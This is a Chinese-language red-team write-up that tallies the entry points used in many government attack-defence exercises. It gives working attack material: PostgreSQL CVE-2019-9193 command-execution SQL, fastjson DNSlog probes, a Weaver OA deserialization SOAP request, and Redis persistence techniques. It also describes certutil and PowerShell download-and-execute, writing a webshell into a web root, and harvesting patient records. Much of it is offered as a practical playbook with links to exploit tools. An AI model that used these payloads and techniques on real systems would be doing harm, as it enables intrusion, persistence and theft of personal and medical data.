(可能思路狭隘,有缺有错,师傅们多带带)
Author: 0ne
本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告)思路朴素不包含钓鱼和叼炸天的0day。
突破入口点方法统计图:
攻防演练中得分项只关注两点,权限&数据:权限类型分为系统权限和应用权限,权限高低又分为管理员权限和普通用户权限。数据一般是要四件套,姓名,手机号,身份证,住址。通常敏感数据这样定义,不过看当前的应用可能敏感信息的定义又会不同,比如医院系统,病例信息就算是敏感数据。
根据上述统计结果由高到低选取部分得分方法进行说明。
弱口令是永远修复不了的漏洞,每场攻防演练都会有弱口令撕开的口子(出现次数29)
这里讨论的是一些web应用的弱口令,不包括统计结果的
PostgreSQL/redis/VPN/Jenkins/Adminer的弱口令。
说起弱口令那就不得不提爆破的技巧了。爆破前应想办法绕过验证码,部分验证码存在不刷新或是有验证的逻辑错误可绕过的情况。通常在忘记密码处可能会存在用户名枚举漏洞。对于用户名字典,根据当前的系统可猜测为姓名简称或是工号ID。也可翻阅当前登录框的JS正则或是google信息搜索进行合理猜测。在有大量用户基数的情况下,通常固定弱口令遍历用户名效果最佳。在多次通过SQL注入获取登录后台密码md5解密后的情况来看,管理员以域名简称或是系统简称+@年份出现,或是相关的简称的密码概率不小。如:某消防系统/bjtuxfk[xxxx消防科],某妇联后台/gzfl@2020。
好用的字典
https://github.com/fuzz-security/Superwordlist
https://github.com/gh0stkey/Web-Fuzzing-Box
数据库弱口令只遇见了PostgreSQL/Redis,其它未遇见可能那些常见使用的数据库经常使用,剩下的可能连运维都不知道这开着的。
PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
Redis
连上先info查看Server信息[redis版本和OS信息]:
Redis 4.x/5.x RCE
https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-windows
linux
写计划任务,写公钥,写webshell[知道web路径]
Windows
写启动项,写webshell[知道web路径]
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
https://github.com/r35tart/RedisWriteFile
windows说实话没遇到过,权限够了,先写启动项,再想办法给它干重启[YY的没打过QAQ]
这两篇windows&redis蛮细的:
https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940
VPN弱口令
如果是WebVPN的话,用户基数大,可以固定弱口令按照学号工号ID爆破。案例中的VPN弱口令是一个客户端,需要下载,密码不像是试出来的,更像是从Google/Git信息泄露,或是知道该员工的手机号扔进裤子里,根据里面的信息拼凑出来的[个人猜测]。
Jenkins弱口令
后台脚本命令行可执行命令,LOLBAS下载执行没啥说的。
Adminer弱口令
MySQL写webshell也没啥说的。
shiro永远的神!没有shiro我都不知道怎么日站了(出现次数28)
这两年来shiro反序列化可谓是攻防演练中的漏洞利用之首,无论是公司自研的资产收集平台还是git上优秀的项目ShuiZe等等都带着shiro指纹的识别。专找目标的shiro也很简单,目标发散到域名发散到子域名发散到IP到全端口,将这些URL导入shiro识别工具。再跑key,再利用。统计的28个shiro中有27个通过OneforAll或是FoFa等方式收集,其中有一个shiro在微信公众号中找到的。
好用的tools:
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack
朴实无华(出现次数10)
一般情况下拿shell最快的方法就是找上传,我们应该快速验证上传是否是基于后端的白名单校验。如果是后端的白名单校验,在没有解析漏洞或是其它漏洞的组合下,我们应该放弃该接口。需要注意的是我们在上传文件判断黑白名单时,上传的文件内容最好是无害的,否则可能会WAF干扰。我们一定要清楚该次上传失败是因为程序本身的限制还是WAF的阻拦。切忌对upload接口fuzz,雷声大雨点小。
值得一提的是在统计的10次上传中,有一次在微信小程序,有一个swagger信息泄露upload接口,有一次在某银行的在线聊天系统,点击人工时,会出现传图片的按钮。
客服系统:
还有一个案例:
进入后台通过Kindeditor文件上传,又通过XXXX进行文件管理,有重命名功能,改为.php。getshell。
文件上传绕WAF的本质就是服务器与WAF对数据包解析的差异性,下面提供几个畸形数据包:
也好用(出现次数6)
判断是否为fastjson:报错抛出异常或是DNSlog
{"rand1":{"@type":"JAVA.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
遇见WAF:
hex编码或是b:
详见:
https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568
好用的tools:
https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit
苍蝇再小也是肉(出现次数5)
医院啊,这个比较多遇见的案例都是微信公众号或是小程序,遍历病例数据:
还遇见了swagger信息泄露构造接口查询:
出其不意(出现次数5)
当遇见.NET的网站时,右键查看图片URL为~/ueditor~/upload/image/[20200101]这种年月格式/25位数字.png,就可以判断该站点使用了UEditor[直接目录扫描工具扫也行],就需要我们拼接出路径~/net/controller.ashx:
~前面可能不太固定需要自己在JS里找信息,或是合理猜测。
提一嘴,之前遇见个站点.png?.aspx,站点返回了404,可以直接.png.aspx,同时UEditor有过滤?的特性,在有WAF的时候可酌情使用。
基操
--os-shell后,得到一个命令行,一般是certutil下载执行或是powershell直接上线。也可写入webshell:
找静态资源定位物理路径
for /r C: %i in (*xxx*) do @echo %i
dir /s/a-d/b C:*xxx.xxx
echo ^<一句话^> >C:phpstudy_proWWWshell.txt
<>注意使用^转义
没啥说的,有0day砸0day
泛*OA,致*OA,通*OA,用*NC
github搜搜搜,内部自己有积累未批露利用点最好。
泛*OA的两个案例用的WorkflowServiceXml反序列化比较丝滑。
判断是否可利用:
POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://m5alw5.dnslog.cn</url>
<string>http://m5alw5.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
胡言乱语
SQL注入获取敏感数据感觉没啥提的,记得sqlmap加上参数random-agent。
S2在外网见的少了,也不知道大佬咋翻墙进去的。
历史遗留后门404.jsp成了入口点也是离谱。
各种debug信息泄露云key导入行云管家证明权限就OK。
已经语无伦次了......
柿子捡软的捏
web打点本就是个效率活,打得就是软柿子,不要给你一个站点测了半天到最后才发现:咦这里有个上传/shiro/fastjson....这就耽误功夫了,要带着目的性,尽量减少试错的过程,少做无用功。